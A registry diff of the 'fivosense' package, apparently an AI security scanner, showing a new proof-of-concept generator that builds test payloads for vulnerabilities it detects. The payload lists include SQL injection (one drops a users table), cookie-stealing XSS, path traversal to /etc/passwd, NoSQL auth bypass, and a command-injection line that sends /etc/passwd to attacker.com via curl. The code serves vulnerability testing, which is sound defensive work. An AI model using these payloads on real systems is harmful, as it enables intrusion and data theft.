fivosense 0.1.5 → 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (136) hide show
  1. package/.kilo/skill/fivosense/skill.json +5 -5
  2. package/COMPLETE_SUMMARY.md +412 -0
  3. package/DEPLOYMENT_GUIDE.md +2 -2
  4. package/FINAL_VERIFICATION.md +316 -0
  5. package/GITHUB_PUSH.md +4 -4
  6. package/LICENSE +1 -1
  7. package/README.md +290 -208
  8. package/RELEASE_READY.md +3 -3
  9. package/bin/fivosense.mjs +6 -0
  10. package/dist/ai/client.d.ts +33 -0
  11. package/dist/ai/client.d.ts.map +1 -0
  12. package/dist/ai/client.js +170 -0
  13. package/dist/ai/client.js.map +1 -0
  14. package/dist/ai/judge.d.ts +9 -3
  15. package/dist/ai/judge.d.ts.map +1 -1
  16. package/dist/ai/judge.js +49 -14
  17. package/dist/ai/judge.js.map +1 -1
  18. package/dist/cli/index.d.ts +3 -1
  19. package/dist/cli/index.d.ts.map +1 -1
  20. package/dist/cli/index.js +6 -1
  21. package/dist/cli/index.js.map +1 -1
  22. package/dist/core/orchestrator.d.ts +34 -0
  23. package/dist/core/orchestrator.d.ts.map +1 -0
  24. package/dist/core/orchestrator.js +211 -0
  25. package/dist/core/orchestrator.js.map +1 -0
  26. package/dist/core/scope.d.ts +32 -0
  27. package/dist/core/scope.d.ts.map +1 -0
  28. package/dist/core/scope.js +149 -0
  29. package/dist/core/scope.js.map +1 -0
  30. package/dist/editors/vscode.d.ts +4 -2
  31. package/dist/editors/vscode.d.ts.map +1 -1
  32. package/dist/editors/vscode.js +6 -0
  33. package/dist/editors/vscode.js.map +1 -1
  34. package/dist/engine/adversary.d.ts +9 -2
  35. package/dist/engine/adversary.d.ts.map +1 -1
  36. package/dist/engine/adversary.js +47 -13
  37. package/dist/engine/adversary.js.map +1 -1
  38. package/dist/engine/graph.d.ts +4 -1
  39. package/dist/engine/graph.d.ts.map +1 -1
  40. package/dist/engine/graph.js +6 -0
  41. package/dist/engine/graph.js.map +1 -1
  42. package/dist/engine/poc.d.ts +26 -0
  43. package/dist/engine/poc.d.ts.map +1 -0
  44. package/dist/engine/poc.js +179 -0
  45. package/dist/engine/poc.js.map +1 -0
  46. package/dist/engine/reach.d.ts +4 -2
  47. package/dist/engine/reach.d.ts.map +1 -1
  48. package/dist/engine/reach.js +6 -0
  49. package/dist/engine/reach.js.map +1 -1
  50. package/dist/engine/sinks.d.ts +22 -32
  51. package/dist/engine/sinks.d.ts.map +1 -1
  52. package/dist/engine/sinks.js +338 -44
  53. package/dist/engine/sinks.js.map +1 -1
  54. package/dist/engine/sources.d.ts +11 -19
  55. package/dist/engine/sources.d.ts.map +1 -1
  56. package/dist/engine/sources.js +100 -24
  57. package/dist/engine/sources.js.map +1 -1
  58. package/dist/engine/taint.d.ts +6 -0
  59. package/dist/engine/taint.d.ts.map +1 -1
  60. package/dist/engine/taint.js +6 -0
  61. package/dist/engine/taint.js.map +1 -1
  62. package/dist/engine/verify.d.ts +4 -1
  63. package/dist/engine/verify.d.ts.map +1 -1
  64. package/dist/engine/verify.js +6 -0
  65. package/dist/engine/verify.js.map +1 -1
  66. package/dist/features/badge.d.ts +6 -0
  67. package/dist/features/badge.d.ts.map +1 -1
  68. package/dist/features/badge.js +4 -1
  69. package/dist/features/badge.js.map +1 -1
  70. package/dist/features/fix.d.ts +6 -0
  71. package/dist/features/fix.d.ts.map +1 -1
  72. package/dist/features/fix.js +4 -1
  73. package/dist/features/fix.js.map +1 -1
  74. package/dist/features/index.d.ts +6 -0
  75. package/dist/features/index.d.ts.map +1 -1
  76. package/dist/features/index.js +6 -0
  77. package/dist/features/index.js.map +1 -1
  78. package/dist/features/roast.d.ts +6 -0
  79. package/dist/features/roast.d.ts.map +1 -1
  80. package/dist/features/roast.js +4 -1
  81. package/dist/features/roast.js.map +1 -1
  82. package/dist/hooks/agent.d.ts +4 -1
  83. package/dist/hooks/agent.d.ts.map +1 -1
  84. package/dist/hooks/agent.js +6 -0
  85. package/dist/hooks/agent.js.map +1 -1
  86. package/dist/hooks/git.d.ts +34 -0
  87. package/dist/hooks/git.d.ts.map +1 -0
  88. package/dist/hooks/git.js +161 -0
  89. package/dist/hooks/git.js.map +1 -0
  90. package/dist/index.d.ts +4 -2
  91. package/dist/index.d.ts.map +1 -1
  92. package/dist/index.js +6 -0
  93. package/dist/index.js.map +1 -1
  94. package/dist/rules/destructive.d.ts +12 -21
  95. package/dist/rules/destructive.d.ts.map +1 -1
  96. package/dist/rules/destructive.js +306 -24
  97. package/dist/rules/destructive.js.map +1 -1
  98. package/dist/rules/secrets.d.ts +8 -10
  99. package/dist/rules/secrets.d.ts.map +1 -1
  100. package/dist/rules/secrets.js +294 -17
  101. package/dist/rules/secrets.js.map +1 -1
  102. package/mcp/index.js +55 -20
  103. package/mcp/package-lock.json +382 -0
  104. package/mcp/package.json +21 -4
  105. package/package.json +5 -5
  106. package/src/ai/client.ts +226 -0
  107. package/src/ai/judge.ts +58 -14
  108. package/src/cli/index.ts +7 -1
  109. package/src/core/orchestrator.ts +266 -0
  110. package/src/core/scope.ts +175 -0
  111. package/src/editors/vscode.ts +7 -0
  112. package/src/engine/adversary.ts +55 -12
  113. package/src/engine/graph.ts +7 -0
  114. package/src/engine/poc.ts +219 -0
  115. package/src/engine/reach.ts +7 -0
  116. package/src/engine/sinks.ts +358 -45
  117. package/src/engine/sources.ts +109 -24
  118. package/src/engine/taint.ts +7 -0
  119. package/src/engine/verify.ts +7 -0
  120. package/src/features/badge.ts +7 -0
  121. package/src/features/fix.ts +7 -0
  122. package/src/features/index.ts +7 -0
  123. package/src/features/roast.ts +7 -0
  124. package/src/hooks/agent.ts +7 -0
  125. package/src/hooks/git.ts +194 -0
  126. package/src/index.ts +7 -0
  127. package/src/rules/destructive.ts +316 -26
  128. package/src/rules/secrets.ts +306 -17
  129. package/vscode-extension/CHANGELOG.md +14 -2
  130. package/vscode-extension/LICENSE +1 -1
  131. package/vscode-extension/README.md +28 -23
  132. package/vscode-extension/fivosense-vscode-0.1.0.vsix +0 -0
  133. package/vscode-extension/fivosense-vscode-0.1.1.vsix +0 -0
  134. package/vscode-extension/package-lock.json +6 -6
  135. package/vscode-extension/package.json +7 -5
  136. package/vscode-extension/src/extension.ts +65 -11
@@ -0,0 +1,219 @@
1
+ /**
2
+ * FivoSense - AI Security Scanner
3
+ * Copyright (c) 2026 thevinsoni
4
+ * Licensed under the MIT License
5
+ * https://github.com/thevinsoni/sense
6
+ */
7
+
8
+ /**
9
+ * PoC Generator - Generate proof-of-concept exploits
10
+ */
11
+
12
+ import { TaintTrace } from '../engine/taint.js';
13
+
14
+ export interface PoCTest {
15
+ category: string;
16
+ payload: string;
17
+ expectedBehavior: string;
18
+ testCode: string;
19
+ curlCommand?: string;
20
+ }
21
+
22
+ /**
23
+ * Generate SQL injection PoC
24
+ */
25
+ function generateSQLPoC(trace: TaintTrace): PoCTest {
26
+ const payloads = [
27
+ "' OR '1'='1",
28
+ "'; DROP TABLE users--",
29
+ "' UNION SELECT NULL, username, password FROM users--",
30
+ ];
31
+
32
+ const payload = payloads[0];
33
+
34
+ return {
35
+ category: 'SQL Injection',
36
+ payload,
37
+ expectedBehavior: 'Bypasses authentication or extracts data',
38
+ testCode: `
39
+ // Test SQL Injection
40
+ const maliciousInput = "${payload}";
41
+ const query = "SELECT * FROM users WHERE id = '" + maliciousInput + "'";
42
+ // Expected: Query becomes: SELECT * FROM users WHERE id = '' OR '1'='1'
43
+ // Result: Returns all users (authentication bypass)
44
+ `,
45
+ curlCommand: trace.path.includes('req.')
46
+ ? `curl -X POST http://localhost:3000/api/endpoint -d "id=${encodeURIComponent(payload)}"`
47
+ : undefined,
48
+ };
49
+ }
50
+
51
+ /**
52
+ * Generate XSS PoC
53
+ */
54
+ function generateXSSPoC(trace: TaintTrace): PoCTest {
55
+ const payloads = [
56
+ '<script>alert(document.cookie)</script>',
57
+ '<img src=x onerror=alert(1)>',
58
+ '<svg onload=alert(1)>',
59
+ ];
60
+
61
+ const payload = payloads[0];
62
+
63
+ return {
64
+ category: 'Cross-Site Scripting (XSS)',
65
+ payload,
66
+ expectedBehavior: 'Executes JavaScript in victim browser',
67
+ testCode: `
68
+ // Test XSS
69
+ const maliciousInput = "${payload}";
70
+ document.getElementById('output').innerHTML = maliciousInput;
71
+ // Expected: Script executes, shows alert with cookies
72
+ // Impact: Session hijacking, data theft
73
+ `,
74
+ curlCommand: trace.path.includes('req.')
75
+ ? `curl "http://localhost:3000/page?name=${encodeURIComponent(payload)}"`
76
+ : undefined,
77
+ };
78
+ }
79
+
80
+ /**
81
+ * Generate Command Injection PoC
82
+ */
83
+ function generateCommandPoC(trace: TaintTrace): PoCTest {
84
+ const payloads = [
85
+ '; cat /etc/passwd',
86
+ '| whoami',
87
+ '&& curl attacker.com/?data=$(cat /etc/passwd)',
88
+ ];
89
+
90
+ const payload = payloads[0];
91
+
92
+ return {
93
+ category: 'Command Injection',
94
+ payload,
95
+ expectedBehavior: 'Executes arbitrary system commands',
96
+ testCode: `
97
+ // Test Command Injection
98
+ const maliciousInput = "file.txt${payload}";
99
+ exec(\`cat \${maliciousInput}\`);
100
+ // Expected: Runs: cat file.txt; cat /etc/passwd
101
+ // Result: Leaks system password file
102
+ `,
103
+ curlCommand: trace.path.includes('req.')
104
+ ? `curl -X POST http://localhost:3000/api/command -d "file=test.txt${encodeURIComponent(payload)}"`
105
+ : undefined,
106
+ };
107
+ }
108
+
109
+ /**
110
+ * Generate Path Traversal PoC
111
+ */
112
+ function generatePathTraversalPoC(trace: TaintTrace): PoCTest {
113
+ const payloads = [
114
+ '../../../etc/passwd',
115
+ '..\\..\\..\\windows\\system32\\config\\sam',
116
+ '....//....//....//etc/passwd',
117
+ ];
118
+
119
+ const payload = payloads[0];
120
+
121
+ return {
122
+ category: 'Path Traversal',
123
+ payload,
124
+ expectedBehavior: 'Reads files outside intended directory',
125
+ testCode: `
126
+ // Test Path Traversal
127
+ const maliciousInput = "${payload}";
128
+ fs.readFile(\`/uploads/\${maliciousInput}\`, (err, data) => {
129
+ // Expected: Reads /etc/passwd instead of /uploads/file
130
+ // Result: Exposes sensitive system files
131
+ });
132
+ `,
133
+ curlCommand: trace.path.includes('req.')
134
+ ? `curl "http://localhost:3000/download?file=${encodeURIComponent(payload)}"`
135
+ : undefined,
136
+ };
137
+ }
138
+
139
+ /**
140
+ * Generate NoSQL Injection PoC
141
+ */
142
+ function generateNoSQLPoC(trace: TaintTrace): PoCTest {
143
+ const payload = '{"$gt": ""}';
144
+
145
+ return {
146
+ category: 'NoSQL Injection',
147
+ payload,
148
+ expectedBehavior: 'Bypasses authentication or extracts data',
149
+ testCode: `
150
+ // Test NoSQL Injection
151
+ const maliciousInput = ${payload};
152
+ db.collection('users').find({ username: req.body.username, password: maliciousInput });
153
+ // Expected: Query matches all documents (password always > "")
154
+ // Result: Authentication bypass
155
+ `,
156
+ curlCommand: trace.path.includes('req.')
157
+ ? `curl -X POST http://localhost:3000/login -H "Content-Type: application/json" -d '{"username":"admin","password":${payload}}'`
158
+ : undefined,
159
+ };
160
+ }
161
+
162
+ /**
163
+ * Generate PoC based on vulnerability type
164
+ */
165
+ export function generatePoC(trace: TaintTrace): PoCTest {
166
+ switch (trace.category.toLowerCase()) {
167
+ case 'sql':
168
+ return generateSQLPoC(trace);
169
+
170
+ case 'xss':
171
+ return generateXSSPoC(trace);
172
+
173
+ case 'command':
174
+ return generateCommandPoC(trace);
175
+
176
+ case 'path':
177
+ return generatePathTraversalPoC(trace);
178
+
179
+ case 'nosql':
180
+ return generateNoSQLPoC(trace);
181
+
182
+ default:
183
+ return {
184
+ category: trace.category,
185
+ payload: '<malicious-input>',
186
+ expectedBehavior: 'Exploits vulnerability',
187
+ testCode: `
188
+ // Generic test for ${trace.category}
189
+ const maliciousInput = "<malicious-input>";
190
+ // Test with malicious input to verify vulnerability
191
+ `,
192
+ };
193
+ }
194
+ }
195
+
196
+ /**
197
+ * Format PoC as markdown
198
+ */
199
+ export function formatPoCMarkdown(poc: PoCTest): string {
200
+ let md = `## ${poc.category} - Proof of Concept\n\n`;
201
+
202
+ md += `### Payload\n\`\`\`\n${poc.payload}\n\`\`\`\n\n`;
203
+
204
+ md += `### Expected Behavior\n${poc.expectedBehavior}\n\n`;
205
+
206
+ md += `### Test Code\n\`\`\`javascript${poc.testCode}\n\`\`\`\n\n`;
207
+
208
+ if (poc.curlCommand) {
209
+ md += `### HTTP Test\n\`\`\`bash\n${poc.curlCommand}\n\`\`\`\n\n`;
210
+ }
211
+
212
+ md += `### Mitigation\n`;
213
+ md += `- Use parameterized queries or prepared statements\n`;
214
+ md += `- Validate and sanitize all user input\n`;
215
+ md += `- Use allow-lists instead of block-lists\n`;
216
+ md += `- Apply principle of least privilege\n`;
217
+
218
+ return md;
219
+ }
@@ -1,3 +1,10 @@
1
+ /**
2
+ * FivoSense - AI Security Scanner
3
+ * Copyright (c) 2026 thevinsoni
4
+ * Licensed under the MIT License
5
+ * https://github.com/thevinsoni/sense
6
+ */
7
+
1
8
  /**
2
9
  * Reachability Analysis - Filters code to only entry-point reachable paths
3
10
  * This reduces analysis surface by ~97% (OpenAnt research)